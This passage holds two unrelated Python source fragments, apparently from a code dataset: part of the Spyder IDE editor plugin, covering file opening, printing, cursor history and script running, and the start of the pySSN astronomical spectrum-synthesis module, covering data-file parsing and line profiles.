editorwindow=None): """ Load a text file editorwindow: load in this editorwindow (useful when clicking on outline explorer with multiple editor windows) """ editor0 = self.get_current_editor() if editor0 is not None: position0 = editor0.get_position('cursor') filename0 = self.get_current_filename() else: position0, filename0 = None, None if not filenames: # Recent files action action = self.sender() if isinstance(action, QAction): filenames = from_qvariant(action.data(), unicode) if not filenames: basedir = os.getcwdu() if CONF.get('workingdir', 'editor/open/browse_scriptdir'): c_fname = self.get_current_filename() if c_fname is not None and c_fname != self.TEMPFILE_PATH: basedir = osp.dirname(c_fname) self.emit(SIGNAL('redirect_stdio(bool)'), False) parent_widget = self.get_current_editorstack() filenames, _selfilter = getopenfilenames(parent_widget, _("Open file"), basedir, EDIT_FILTERS) self.emit(SIGNAL('redirect_stdio(bool)'), True) if filenames: filenames = [osp.normpath(fname) for fname in filenames] if CONF.get('workingdir', 'editor/open/auto_set_to_basedir'): directory = osp.dirname(filenames[0]) self.emit(SIGNAL("open_dir(QString)"), directory) else: return if self.dockwidget and not self.ismaximized\ and not self.dockwidget.isAncestorOf(QApplication.focusWidget()): self.dockwidget.setVisible(True) self.dockwidget.setFocus() self.dockwidget.raise_() def _convert(fname): fname = osp.abspath(encoding.to_unicode(fname)) if os.name == 'nt' and len(fname) >= 2 and fname[1] == ':': fname = fname[0].upper()+fname[1:] return fname if hasattr(filenames, 'replaceInStrings'): # This is a QStringList instance (PyQt API #1), converting to list: filenames = list(filenames) if not isinstance(filenames, list): filenames = [_convert(filenames)] else: filenames = [_convert(fname) for fname in list(filenames)] if isinstance(goto, int): goto = [goto] elif goto is not None and len(goto) != len(filenames): goto = None for index, filename in enumerate(filenames): # -- Do not open an already opened file current_editor = self.set_current_filename(filename, editorwindow) if current_editor is None: # -- Not a valid filename: if not osp.isfile(filename): continue # -- current_es = self.get_current_editorstack(editorwindow) # Creating the editor widget in the first editorstack (the one # that can't be destroyed), then cloning this editor widget in # all other editorstacks: finfo = self.editorstacks[0].load(filename, set_current=False) self._clone_file_everywhere(finfo) current_editor = current_es.set_current_filename(filename) current_editor.set_breakpoints(load_breakpoints(filename)) self.register_widget_shortcuts("Editor", current_editor) current_es.analyze_script() self.__add_recent_file(filename) if goto is not None: # 'word' is assumed to be None as well current_editor.go_to_line(goto[index], word=word) position = current_editor.get_position('cursor') self.cursor_moved(filename0, position0, filename, position) current_editor.clearFocus() current_editor.setFocus() current_editor.window().raise_() QApplication.processEvents() def print_file(self): """Print current file""" editor = self.get_current_editor() filename = self.get_current_filename() printer = Printer(mode=QPrinter.HighResolution, header_font=self.get_plugin_font('printer_header')) printDialog = QPrintDialog(printer, editor) if editor.has_selected_text(): printDialog.addEnabledOption(QAbstractPrintDialog.PrintSelection) self.emit(SIGNAL('redirect_stdio(bool)'), False) answer = printDialog.exec_() self.emit(SIGNAL('redirect_stdio(bool)'), True) if answer == QDialog.Accepted: self.starting_long_process(_("Printing...")) printer.setDocName(filename) editor.print_(printer) self.ending_long_process() def print_preview(self): """Print preview for current file""" from spyderlib.qt.QtGui import QPrintPreviewDialog editor = self.get_current_editor() printer = Printer(mode=QPrinter.HighResolution, header_font=self.get_plugin_font('printer_header')) preview = QPrintPreviewDialog(printer, self) preview.setWindowFlags(Qt.Window) self.connect(preview, SIGNAL("paintRequested(QPrinter*)"), lambda printer: editor.print_(printer)) self.emit(SIGNAL('redirect_stdio(bool)'), False) preview.exec_() self.emit(SIGNAL('redirect_stdio(bool)'), True) def close_file(self): """Close current file""" editorstack = self.get_current_editorstack() editorstack.close_file() def close_all_files(self): """Close all opened scripts""" self.editorstacks[0].close_all_files() def save(self, index=None, force=False): """Save file""" editorstack = self.get_current_editorstack() return editorstack.save(index=index, force=force) def save_as(self): """Save *as* the currently edited file""" editorstack = self.get_current_editorstack() if editorstack.save_as(): fname = editorstack.get_current_filename() if CONF.get('workingdir', 'editor/save/auto_set_to_basedir'): self.emit(SIGNAL("open_dir(QString)"), osp.dirname(fname)) self.__add_recent_file(fname) def save_all(self): """Save all opened files""" self.get_current_editorstack().save_all() def revert(self): """Revert the currently edited file from disk""" editorstack = self.get_current_editorstack() editorstack.revert() #------ Explorer widget def __close(self, filename): filename = osp.abspath(unicode(filename)) index = self.editorstacks[0].has_filename(filename) if index is not None: self.editorstacks[0].close_file(index) def removed(self, filename): """File was removed in file explorer widget or in project explorer""" self.__close(filename) def removed_tree(self, dirname): """Directory was removed in project explorer widget""" dirname = osp.abspath(unicode(dirname)) for fname in self.get_filenames(): if osp.abspath(fname).startswith(dirname): self.__close(fname) def renamed(self, source, dest): """File was renamed in file explorer widget or in project explorer""" filename = osp.abspath(unicode(source)) index = self.editorstacks[0].has_filename(filename) if index is not None: for editorstack in self.editorstacks: editorstack.rename_in_data(index, new_filename=unicode(dest)) #------ Source code def indent(self): """Indent current line or selection""" editor = self.get_current_editor() if editor is not None: editor.indent() def unindent(self): """Unindent current line or selection""" editor = self.get_current_editor() if editor is not None: editor.unindent() def toggle_comment(self): """Comment current line or selection""" editor = self.get_current_editor() if editor is not None: editor.toggle_comment() def blockcomment(self): """Block comment current line or selection""" editor = self.get_current_editor() if editor is not None: editor.blockcomment() def unblockcomment(self): """Un-block comment current line or selection""" editor = self.get_current_editor() if editor is not None: editor.unblockcomment() def go_to_next_todo(self): editor = self.get_current_editor() position = editor.go_to_next_todo() filename = self.get_current_filename() self.add_cursor_position_to_history(filename, position) def go_to_next_warning(self): editor = self.get_current_editor() position = editor.go_to_next_warning() filename = self.get_current_filename() self.add_cursor_position_to_history(filename, position) def go_to_previous_warning(self): editor = self.get_current_editor() position = editor.go_to_previous_warning() filename = self.get_current_filename() self.add_cursor_position_to_history(filename, position) def run_winpdb(self): """Run winpdb to debug current file""" if self.save(): fname = self.get_current_filename() programs.run_program(WINPDB_PATH, [fname]) def toggle_eol_chars(self, os_name): editor = self.get_current_editor() if self.__set_eol_chars: editor.set_eol_chars(sourcecode.get_eol_chars_from_os_name(os_name)) def remove_trailing_spaces(self): editorstack = self.get_current_editorstack() editorstack.remove_trailing_spaces() def fix_indentation(self): editorstack = self.get_current_editorstack() editorstack.fix_indentation() #------ Cursor position history management def update_cursorpos_actions(self): self.previous_edit_cursor_action.setEnabled( self.last_edit_cursor_pos is not None) self.previous_cursor_action.setEnabled( self.cursor_pos_index is not None and self.cursor_pos_index > 0) self.next_cursor_action.setEnabled(self.cursor_pos_index is not None \ and self.cursor_pos_index < len(self.cursor_pos_history)-1) def add_cursor_position_to_history(self, filename, position, fc=False): if self.__ignore_cursor_position: return for index, (fname, pos) in enumerate(self.cursor_pos_history[:]): if fname == filename: if pos == position or pos == 0: if fc: self.cursor_pos_history[index] = (filename, position) self.cursor_pos_index = index self.update_cursorpos_actions() return else: if self.cursor_pos_index >= index: self.cursor_pos_index -= 1 self.cursor_pos_history.pop(index) break if self.cursor_pos_index is not None: self.cursor_pos_history = \ self.cursor_pos_history[:self.cursor_pos_index+1] self.cursor_pos_history.append((filename, position)) self.cursor_pos_index = len(self.cursor_pos_history)-1 self.update_cursorpos_actions() def cursor_moved(self, filename0, position0, filename1, position1): """Cursor was just moved: 'go to'""" if position0 is not None: self.add_cursor_position_to_history(filename0, position0) self.add_cursor_position_to_history(filename1, position1) def text_changed_at(self, filename, position): self.last_edit_cursor_pos = (unicode(filename), position) def current_file_changed(self, filename, position): self.add_cursor_position_to_history(unicode(filename), position, fc=True) def go_to_last_edit_location(self): if self.last_edit_cursor_pos is not None: filename, position = self.last_edit_cursor_pos if not osp.isfile(filename): self.last_edit_cursor_pos = None return else: self.load(filename) editor = self.get_current_editor() if position < editor.document().characterCount(): editor.set_cursor_position(position) def __move_cursor_position(self, index_move): if self.cursor_pos_index is None: return filename, _position = self.cursor_pos_history[self.cursor_pos_index] self.cursor_pos_history[self.cursor_pos_index] = ( filename, self.get_current_editor().get_position('cursor') ) self.__ignore_cursor_position = True old_index = self.cursor_pos_index self.cursor_pos_index = min([ len(self.cursor_pos_history)-1, max([0, self.cursor_pos_index+index_move]) ]) filename, position = self.cursor_pos_history[self.cursor_pos_index] if not osp.isfile(filename): self.cursor_pos_history.pop(self.cursor_pos_index) if self.cursor_pos_index < old_index: old_index -= 1 self.cursor_pos_index = old_index else: self.load(filename) editor = self.get_current_editor() if position < editor.document().characterCount(): editor.set_cursor_position(position) self.__ignore_cursor_position = False self.update_cursorpos_actions() def go_to_previous_cursor_position(self): self.__move_cursor_position(-1) def go_to_next_cursor_position(self): self.__move_cursor_position(1) def go_to_line(self): """Open 'go to line' dialog""" editorstack = self.get_current_editorstack() if editorstack is not None: editorstack.go_to_line() def set_or_clear_breakpoint(self): """Set/Clear breakpoint""" editorstack = self.get_current_editorstack() if editorstack is not None: editorstack.set_or_clear_breakpoint() def set_or_edit_conditional_breakpoint(self): """Set/Edit conditional breakpoint""" editorstack = self.get_current_editorstack() if editorstack is not None: editorstack.set_or_edit_conditional_breakpoint() def clear_all_breakpoints(self): """Clear breakpoints in all files""" clear_all_breakpoints() editorstack = self.get_current_editorstack() if editorstack is not None: for data in editorstack.data: data.editor.clear_breakpoints() #------ Run Python script def edit_run_configurations(self): dialog = RunConfigDialog(self) fname = osp.abspath(self.get_current_filename()) dialog.setup(fname) if self.configdialog_size is not None: dialog.resize(self.configdialog_size) if dialog.exec_(): self.configdialog_size = dialog.win_size fname = dialog.file_to_run if fname is not None: self.load(fname) self.run_file() def run_file(self, debug=False): """Run script inside current interpreter or in a new one""" editorstack = self.get_current_editorstack() if editorstack.save(): editor = self.get_current_editor() fname = osp.abspath(self.get_current_filename()) runconf = get_run_configuration(fname) if runconf is None: dialog = RunConfigOneDialog(self) dialog.setup(fname) if self.configdialog_size is not None: dialog.resize(self.configdialog_size) if not dialog.exec_(): return self.configdialog_size = dialog.win_size runconf = dialog.get_configuration() wdir = runconf.get_working_directory() args = runconf.get_arguments() python_args = runconf.get_python_arguments() interact = runconf.interact current = runconf.current systerm = runconf.systerm python = True # Note: in the future, it may be useful to run # something in a terminal instead of a Python interp. self.__last_ec_exec = (fname, wdir, args, interact, debug, python, python_args, current, systerm) self.re_run_file() if not interact and not debug: # If external console dockwidget is hidden, it will be # raised in top-level and so focus will be given to the # current external shell automatically # (see SpyderPluginWidget.visibility_changed method) editor.setFocus() def debug_file(self): """Debug current script""" self.run_file(debug=True) def re_run_file(self): """Re-run last script""" if self.get_option('save_all_before_run', True): self.save_all() if self.__last_ec_exec is None: return (fname, wdir, args, interact, debug, python, python_args, current, systerm) = self.__last_ec_exec if current: self.emit(SIGNAL('run_in_current_console(QString,QString,QString,bool)'), fname, wdir, args, debug) else: self.main.open_external_console(fname, wdir, args, interact, debug, python, python_args, systerm) def run_selection_or_block(self): """Run selection or current line in external console""" editorstack = self.get_current_editorstack() editorstack.run_selection_or_block() #------ Options def apply_plugin_settings(self, options): """Apply configuration file's plugin settings""" # toggle_fullpath_sorting if self.editorstacks is not None: color_scheme_n = 'color_scheme_name' color_scheme_o = get_color_scheme(self.get_option(color_scheme_n)) font_n = 'plugin_font' font_o = self.get_plugin_font() fpsorting_n = 'fullpath_sorting' fpsorting_o = self.get_option(fpsorting_n) tabbar_n = 'show_tab_bar' tabbar_o = self.get_option(tabbar_n) linenb_n = 'line_numbers' linenb_o = self.get_option(linenb_n) edgeline_n = 'edge_line' edgeline_o = self.get_option(edgeline_n) edgelinecol_n = 'edge_line_column' edgelinecol_o = self.get_option(edgelinecol_n) currentline_n = 'highlight_current_line' currentline_o = self.get_option(currentline_n) occurence_n = 'occurence_highlighting' occurence_o = self.get_option(occurence_n) occurence_timeout_n = 'occurence_highlighting/timeout' occurence_timeout_o = self.get_option(occurence_timeout_n) wrap_n = 'wrap' wrap_o = self.get_option(wrap_n) tabindent_n = 'tab_always_indent' tabindent_o = self.get_option(tabindent_n) ibackspace_n = 'intelligent_backspace' ibackspace_o = self.get_option(ibackspace_n) removetrail_n = 'always_remove_trailing_spaces' removetrail_o = self.get_option(removetrail_n) autocomp_n = 'codecompletion/auto' autocomp_o = self.get_option(autocomp_n) case_comp_n = 'codecompletion/case_sensitive' case_comp_o = self.get_option(case_comp_n) show_single_n = 'codecompletion/show_single' show_single_o = self.get_option(show_single_n) enter_key_n = 'codecompletion/enter_key' enter_key_o = self.get_option(enter_key_n) calltips_n = 'calltips' calltips_o = self.get_option(calltips_n) gotodef_n = 'go_to_definition' gotodef_o = self.get_option(gotodef_n) closepar_n = 'close_parentheses' closepar_o = self.get_option(closepar_n) autounindent_n = 'auto_unindent' autounindent_o = self.get_option(autounindent_n) indent_chars_n = 'indent_chars' indent_chars_o = self.get_option(indent_chars_n) tab_stop_width_n = 'tab_stop_width' tab_stop_width_o = self.get_option(tab_stop_width_n) inspector_n = 'object_inspector' inspector_o = self.get_option(inspector_n) todo_n = 'todo_list' todo_o = self.get_option(todo_n) pyflakes_n = 'code_analysis/pyflakes' pyflakes_o = self.get_option(pyflakes_n) pep8_n = 'code_analysis/pep8' pep8_o = self.get_option(pep8_n) rt_analysis_n = 'realtime_analysis' rt_analysis_o = self.get_option(rt_analysis_n) rta_timeout_n = 'realtime_analysis/timeout' rta_timeout_o = self.get_option(rta_timeout_n) finfo = self.get_current_finfo() if fpsorting_n in options: if self.outlineexplorer is not None: self.outlineexplorer.set_fullpath_sorting(fpsorting_o) for window in self.editorwindows: window.editorwidget.outlineexplorer.set_fullpath_sorting( fpsorting_o) for editorstack in self.editorstacks: if font_n in options: scs = color_scheme_o if color_scheme_n in options else None editorstack.set_default_font(font_o, scs) elif color_scheme_n in options: editorstack.set_color_scheme(color_scheme_o) if fpsorting_n in options: editorstack.set_fullpath_sorting_enabled(fpsorting_o) if tabbar_n in options: editorstack.set_tabbar_visible(tabbar_o) if linenb_n in options: editorstack.set_linenumbers_enabled(linenb_o, current_finfo=finfo) if edgeline_n in options: editorstack.set_edgeline_enabled(edgeline_o) if edgelinecol_n in options: editorstack.set_edgeline_column(edgelinecol_o) if currentline_n in options: editorstack.set_highlight_current_line_enabled( currentline_o) if occurence_n in options: editorstack.set_occurence_highlighting_enabled(occurence_o) if occurence_timeout_n in options: editorstack.set_occurence_highlighting_timeout( occurence_timeout_o) if wrap_n in options: editorstack.set_wrap_enabled(wrap_o) if tabindent_n in options: editorstack.set_tabmode_enabled(tabindent_o) if ibackspace_n in options: editorstack.set_intelligent_backspace_enabled(ibackspace_o) if removetrail_n in options: editorstack.set_always_remove_trailing_spaces(removetrail_o) if autocomp_n in options: editorstack.set_codecompletion_auto_enabled(autocomp_o) if case_comp_n in options: editorstack.set_codecompletion_case_enabled(case_comp_o) if show_single_n in options: editorstack.set_codecompletion_single_enabled(show_single_o) if enter_key_n in options: editorstack.set_codecompletion_enter_enabled(enter_key_o) if calltips_n in options: editorstack.set_calltips_enabled(calltips_o) if gotodef_n in options: editorstack.set_go_to_definition_enabled(gotodef_o) if closepar_n in options: editorstack.set_close_parentheses_enabled(closepar_o) if autounindent_n in options: editorstack.set_auto_unindent_enabled(autounindent_o) if indent_chars_n in options: editorstack.set_indent_chars(indent_chars_o) if tab_stop_width_n in options: editorstack.set_tab_stop_width(tab_stop_width_o) if inspector_n in options: editorstack.set_inspector_enabled(inspector_o) if todo_n in options: editorstack.set_todolist_enabled(todo_o, current_finfo=finfo) if pyflakes_n in options: editorstack.set_pyflakes_enabled(pyflakes_o, current_finfo=finfo) if pep8_n in options: editorstack.set_pep8_enabled(pep8_o, current_finfo=finfo) if rt_analysis_n in options: editorstack.set_realtime_analysis_enabled(rt_analysis_o) if rta_timeout_n in options: editorstack.set_realtime_analysis_timeout(rta_timeout_o) # We must update the current editor after the others: # (otherwise, code analysis buttons state would correspond to the # last editor instead of showing the one of the current editor) if finfo is not None: if todo_n in options and todo_o: finfo.run_todo_finder() if pyflakes_n in options or pep8_n in options: finfo.run_code_analysis(pyflakes_o, pep8_o)
codeparrot/github-code-clean
""" pySSN is available under the GNU licence providing you cite the developpers names: Ch. Morisset (Instituto de Astronomia, Universidad Nacional Autonoma de Mexico) D. Pequignot (Meudon Observatory, France) """ import time import os import numpy as np import matplotlib.pyplot as plt from matplotlib.widgets import Button from scipy import interpolate from collections import OrderedDict from pyssn import log_, config if config.INSTALLED['PyNeb']: import pyneb as pn from ..utils.physics import CST, Planck, make_cont_Ercolano, gff from ..utils.misc import execution_path, change_size, convol, rebin, is_absorb, no_red_corr, gauss, carre, lorentz, convolgauss from ..utils.misc import vactoair, airtovac, clean_label, get_parser, read_data, my_execfile as execfile from ..core.profiles import profil_instr """ ToDo: 1) Define the special lines in a table or dictionnary where ref, color, style are set up. """ # mvfc: 'save_data' removed because it is never used (and it is similar to 'print_data' in misc.py). # mvfc: changed to capture the error message def read_data(filename, NF=True): def rows(mask): nMax = 5 rowList = np.array(range(1, len(dd)+1))[mask] rows = ''.join([ str(i)+', ' for i in rowList[:nMax]]).rstrip(', ') if len(rowList) > nMax: rows = rows + ', ...' return rows dtype = 'i8, a1, a9, float64, float64, float64, float64, a1, i8, i4, f, a100' if NF: delimiter = [14, 1, 9, 11, 6, 10, 7, 1, 14, 4, 7, 100] else: delimiter = [ 9, 1, 9, 11, 6, 10, 7, 1, 9, 4, 7, 100] names = ['num', 'foo', 'id', 'lambda','l_shift', 'i_rel', 'i_cor', 'foo2', 'ref', 'profile', 'vitesse', 'comment'] usecols = (0, 2, 3, 4, 5, 6, 8, 9, 10, 11) dd = np.genfromtxt(filename, dtype=dtype, delimiter=delimiter, names = names, usecols = usecols) #mvfc: this is needed to avoid the problem of a cosmetic file with only one line if dd.size == 1: dd = np.atleast_1d(dd) msg = '' if (dd['num'] == -1).sum() > 0: msg = msg + '\nInvalid line number at row: {}'.format(rows([dd['num'] == -1])) # mvfc: this is not not working, because an invalid integer is converted to -1, not to nan. why? if np.isnan(dd['num']).sum() > 0: msg = msg + '\nInvalid line number at row: {}'.format(rows(np.isnan(dd['num']))) if np.isnan(dd['lambda']).sum() > 0: mask = np.isnan(dd['lambda']) msg = msg + '\nInvalid wavelength at row: {}'.format(rows(np.isnan(dd['lambda']))) if np.isnan(dd['l_shift']).sum() > 0: msg = msg + '\nInvalid wavelength shift at row: {}'.format(rows(np.isnan(dd['l_shift']))) if np.isnan(dd['i_cor']).sum() > 0: msg = msg + '\nInvalid intensity correction at row: {}'.format(rows(np.isnan(dd['i_cor']))) if np.isnan(dd['i_rel']).sum() > 0: msg = msg + '\nInvalid relative intensity at row: {}'.format(rows(np.isnan(dd['i_rel']))) if len(msg) > 0: dd = dd[:0] return dd.view(np.recarray), msg class spectrum(object): def __init__(self, config_file=None, phyat_file=None, profil_instr=profil_instr, do_synth = None, do_read_liste = None, do_cosmetik = None, do_run = True, limit_sp = None, spectr_obs=None, sp_norm=None, obj_velo=None, post_proc_file=None): """ Main pySSN object. It reads the configuration file given by the config_file parameter. It reads the atomic data, model and cosmetik files. It reads the observation. It computes the reddening correction, the """ self.cursor = None self.errorMsg = '' self.selected_ions_data = None self.ion_list = [] self.process = { '0' : 'recombination', '1' : 'recombination', '2' : 'dielectronic', '3' : 'collisional', '4' : 'Bowen', '5' : 'recombination', '6' : 'recombination', '7' : 'fluorecence', '8' : 'charge exchange', '9' : 'recombination' } self.process_abbr = { '0' : 'rec.', '1' : 'rec.', '2' : 'die.', '3' : 'col.', '4' : 'fl.', '5' : 'rec.', '6' : 'rec.', '7' : 'fl.', '8' : 'ch.ex.', '9' : 'rec.' } self.fields = [ 'num', 'id', 'lambda', 'proc', 'l_shift', 'i_rel', 'i_cor', 'ref', 'profile', 'vitesse', 'comment' ] self.field_width = { 'num' : 14, 'id' : 9, 'lambda' : 11, 'proc' : 1, 'l_shift' : 6, 'l_tot' : 11, 'i_rel' : 10, 'i_cor' : 7, 'i_tot' : 10, 'ref' : 14, 'profile' : 4, 'vitesse' : 7, 'comment' : 100 } self.field_align = { 'num' : '>', 'id' : '<', 'lambda' : '>', 'proc' : '<', 'l_shift' : '>', 'l_tot' : '>', 'i_rel' : '>', 'i_cor' : '>', 'i_tot' : '>', 'ref' : '>', 'profile' : '>', 'vitesse' : '>', 'comment' : '<' } self.field_pos = { 'num' : 0, 'id' : 15, 'lambda' : 24, 'proc' : 5, 'l_shift' : 35, 'i_rel' : 41, 'i_cor' : 51, 'ref' : 59, 'profile' : 73, 'vitesse' : 77, 'comment' : 85 } self.field_format = { 'num' : '{:>14d}', 'id' : '{:9s}', 'lambda' : '{:11.3f}', 'proc' : '{:1s}', 'l_shift' : '{:6.3f}', 'l_tot' : '{:11.3f}', 'i_rel' : '{:10.3e}', 'i_cor' : '{:7.3f}', 'i_tot' : '{:10.3e}', 'ref' : '{:>14d}', 'profile' : '{:>4d}', 'vitesse' : '{:7.2f}', 'comment' : '{:>s}' } self.field_tip = { 'num' : 'line code number', 'id' : 'ion', 'lambda' : 'wavelength in air', 'proc' : 'line process', 'l_shift' : 'wavelength additive correction', 'l_tot' : 'corrected wavelength', 'i_rel' : 'relative intensity', 'i_cor' : 'intensity correction factor', 'i_tot' : 'corrected intensity', 'ref' : 'reference line code number', 'profile' : 'line profile code number', 'vitesse' : 'natural line width', 'comment' : 'comment' } self.field_abbr = { 'num' : 'line number', 'id' : 'ion', 'lambda' : 'wavelength', 'proc' : 'process', 'l_shift' : 'w shift', 'l_tot' : 'corr wave', 'i_rel' : 'intensity', 'i_cor' : 'i factor', 'i_tot' : 'corr int', 'ref' : 'ref line', 'profile' : 'profile', 'vitesse' : 'v factor', 'comment' : 'comment' } self.calling = 'spectrum' self.full_config_file = config_file if '/' in self.full_config_file: file_name = self.full_config_file.split('/')[-1] dir_ = self.full_config_file.split(file_name)[0] if dir_ == '': dir_ = './' self.directory = dir_ self.config_file = file_name else: self.directory = './' self.config_file = self.full_config_file config.addDataFilePath(self.directory, inpySSN=False) self.init_vars() self.read_conf(self.config_file) log_.level = self.get_conf('log_level', 2) if not self.get_conf('do_synth'): self.set_conf('plot_residuals', False) self.set_conf('fic_cosmetik', 'NO_cosmetik.dat') self.set_conf('fic_modele', 'NO_modele.dat') self.set_conf('phyat_file', 'NO_phyat.dat') if self.get_conf('spectr_obs') is None: self.set_conf('plot_residuals', False) if do_synth is None: self.do_synth = self.get_conf('do_synth') else: self.do_synth = do_synth if do_read_liste is None: do_read_liste = self.get_conf('do_read_liste') if do_cosmetik is None: do_cosmetik = self.get_conf('do_cosmetik') self.profil_instr = profil_instr self.do_cosmetik = do_cosmetik self.post_proc_file = post_proc_file self.init_obs(spectr_obs=spectr_obs, sp_norm=sp_norm, obj_velo=obj_velo, limit_sp=limit_sp) self.init_red_corr() self.make_continuum() if phyat_file is not None: self.phyat_file = phyat_file else: self.phyat_file = self.get_conf('phyat_file', 'liste_phyat.dat') if do_run: self.run(do_synth = self.do_synth, do_read_liste = do_read_liste) self.show_uncor_spec = False def init_vars(self): self.fig1 = None self.fig2 = None self.fig3 = None self.ax1 = None self.ax2 = None self.ax3 = None self.cursor_width = 0.02 self.cursor_w0 = None self.cursor_w1 = None self.cursor_w2 = None self.firstClick = True self.aire_ref = 1.0 self.zoom_fact = 0.1 self._cid = None self.plot_magenta = None self.plot_cyan = None self.label_magenta = None self.label_cyan = None self.hr = False self.split = True self.do_ax2 = True self.do_buttons = True self.do_ax3 = True self.ax2_fontsize = 12 self.legend_loc = 1 self.legend_fontsize = 'medium' self.x_plot_lims = None self.y1_plot_lims = None self.y2_plot_lims = None self.y3_plot_lims = None self.read_obs_error = '' self.iterpolate_velocity = True def init_obs(self, spectr_obs=None, sp_norm=None, obj_velo=None, limit_sp=None): if spectr_obs is not None: self.set_conf('spectr_obs', spectr_obs) if sp_norm is not None: self.set_conf('sp_norm', sp_norm) if obj_velo is not None: self.set_conf('obj_velo', obj_velo) if limit_sp is None: self.limit_sp = self.get_conf('limit_sp') else: self.limit_sp = limit_sp self.read_obs() def run(self, do_synth = True, do_read_liste = True, do_profiles=True): ErrorMsg = '' if do_profiles: self.do_profile_dict() if do_synth: if do_read_liste: self.fic_model = self.get_conf('fic_modele', message='error') self.phyat_arr, ErrorMsg = self.read_phyat(self.phyat_file) self.errorMsg = ('{}\n\n{}'.format(self.errorMsg,ErrorMsg)).strip() self.model_arr, ErrorMsg = self.read_model(self.fic_model) self.errorMsg = ('{}\n\n{}'.format(self.errorMsg,ErrorMsg)).strip() self.n_models = len(self.model_arr) self.n_data = len(self.phyat_arr) if self.n_models > 0 and self.n_data > 0: self.cosmetik_arr, errorMsg = self.read_cosmetik() self.n_cosmetik = len(self.cosmetik_arr) self.sp_theo, self.liste_totale, self.liste_raies = \ self.append_lists(self.phyat_arr, self.model_arr, self.cosmetik_arr) self.sp_theo, self.sp_synth = self.make_synth(self.liste_raies, self.sp_theo) self.n_sp_theo = len(self.sp_theo['spectr']) else: self.sp_theo = None self.sp_synth = None self.n_sp_theo = 0 self.set_conf('do_synth', False) else: self.sp_theo = None self.sp_synth = None self.n_sp_theo = 0 self.f *= self.aire_ref self.sp_abs = self.make_sp_abs(self.sp_theo) self.make_filter_instr() self.sp_synth_tot = self.convol_synth(self.cont, self.sp_synth) self.cont_lr, self.sp_synth_lr = self.rebin_on_obs() def get_key_indexes(self, key, prof): return sorted([indexed_key.replace(key,'') for indexed_key in prof.keys() if key in indexed_key]) def format_instr_prof(self): def get_indexes(key): l = self.get_key_indexes(key, self.conf['instr_prof']) return l prof = self.conf['instr_prof'] if prof is None: return 'instrumental profile not defined' keys = prof.keys() if not 'width' in keys: return 'invalid instrumental profile: width parameter is missing' indexes = get_indexes('Bb') if not indexes == get_indexes('Br') == get_indexes('alpha') == get_indexes('beta'): return 'invalid instrumental profile: error in indexes' w1 = max([len(str(prof[key])) for key in keys if 'Bb' in key]) w2 = max([len(str(prof[key])) for key in keys if 'Br' in key]) w3 = max([len(str(prof[key])) for key in keys if 'beta' in key]) w4 = max([len(str(prof[key])) for key in keys if 'alpha' in key]) s = '\'width\': {}'.format(prof['width']) for i in indexes: s += ',\n \'Bb{0}\':{1:{w1}}, \'Br{0}\':{2:{w2}}, \'beta{0}\':{3:{w3}}, \'alpha{0}\':{4:{w4}}'.format(i, prof['Bb'+i], prof['Br'+i], prof['beta'+i], prof['alpha'+i], w1 = w1, w2 = w2, w3 = w3, w4 = w4) if 'comment' in keys: s += ',\n \'comment\': \'{}\''.format(prof['comment'].strip()) s = '{{{}}}'.format(s) return s def do_profile_dict(self, return_res=False): self.fic_profs = self.get_conf('fic_profile', None) if self.fic_profs is None: self.fic_profs = execution_path('./')+'../data/default_profiles.dat' else: self.fic_profs = self.directory + self.fic_profs if not os.path.isfile(self.fic_profs): log_.error('File not found {}'.format(self.fic_profs), calling=self.calling) emis_profiles = {} emis_profiles['1'] = {'T4': 1.0, 'vel':0.0, 'params': [['G', 1.0, 0.0, 1.0]]} prof_params = None with open(self.fic_profs) as f: for l in f: if l[0] not in ('#', 'c', 'C', ';'): if '#' in l: l = l.split('#')[0] if ';' in l: l = l.split(';')[0] if ':' in l: if prof_params is not None: emis_profiles[key] = {'T4': T4, 'vel': vel, 'params' : prof_params} key, T4_vel = l.split(':') T4_vel = T4_vel.split() T4 = np.float(T4_vel[0].strip()) if len(T4_vel) == 2: vel = np.float(T4_vel[1].strip()) else: vel = 0.0 prof_params = [] else: if l.split() != []: params = l.split() params[1::] = [np.float(p.strip()) for p in params[1::]] prof_params.append(params) emis_profiles[key] = {'T4': T4, 'vel': vel, 'params' : prof_params} log_.message('line profiles read from {0}'.format(self.fic_profs), calling = self.calling) if return_res: return emis_profiles self.emis_profiles = emis_profiles def compare_profiles(self): ref_diff = [] new_profile = self.do_profile_dict(return_res=True) for k in new_profile.keys(): if k not in self.emis_profiles.keys(): ref_diff.append(k) if new_profile[k]['T4'] != self.emis_profiles[k]['T4']: ref_diff.append(k) if new_profile[k]['vel'] != self.emis_profiles[k]['vel']: ref_diff.append(k) for lo, ln in zip(self.emis_profiles[k]['params'], new_profile[k]['params']): for llo,lln in zip(lo, ln): if llo != lln: ref_diff.append(k) return np.unique(ref_diff) def get_profile(self, raie): basic_profiles_dic = {'G': (3, gauss), 'C': (3, carre), 'L': (3, lorentz)} profile_key = str(raie['profile']) if profile_key not in self.emis_profiles: profile_key = '1' T4 = self.emis_profiles[profile_key]['T4'] vel = self.emis_profiles[profile_key]['vel'] params_str = self.emis_profiles[profile_key]['params'] lambda_0 = raie['lambda'] + raie['l_shift'] + self.get_conf('lambda_shift', 0.0) w_norm = self.w - lambda_0 - vel * lambda_0 / CST.CLIGHT * 1e5 profile = np.zeros_like(self.w) largeur = raie['vitesse'] * lambda_0 / CST.CLIGHT * 1e5 masse = 2 * (raie['num'] - raie['num'] % 100000000000)/100000000000 if (masse == 2 and (raie['num'] - raie['num'] % 101000000000)/100000000 == 1010) : masse = 1 for param in params_str: profile_type = param[0] if profile_type not in basic_profiles_dic: log_.error('Wrong number profile reference{}'.format(profile_type), calling=self.calling) params = param[1::] if len(params) != basic_profiles_dic[profile_type][0]: log_.error('Wrong number of parameters {} for profile {}'.format(len(params), profile_type), calling=self.calling) profile += basic_profiles_dic[profile_type][1](w_norm, params[0], params[1]*largeur, params[2]*largeur) if T4 > 0.0: fwhm_therm = 21.4721 * np.sqrt(T4 / masse) * lambda_0 / CST.CLIGHT * 1e5 #km/s profile = convolgauss(profile, self.w, lambda_0, fwhm_therm) profile[~np.isfinite(profile)] = 0.0 return profile def read_conf(self, config_file=None): if config_file is None: config_file = self.config_file else: self.config_file = config_file self.conf = {} init_conf = {} execfile(execution_path('./')+'init_defaults.py', self.conf) self.default_keys = list(self.conf.keys()) if self.config_file is not None: if not os.path.exists(self.directory + self.config_file): log_.error('File {} not found'.format(self.directory + self.config_file)) try: execfile(self.directory + self.config_file, init_conf) log_.message('configuration read from {0}'.format(self.config_file), calling = self.calling) except: log_.warn('configuration NOT read from {0}'.format(self.config_file), calling = 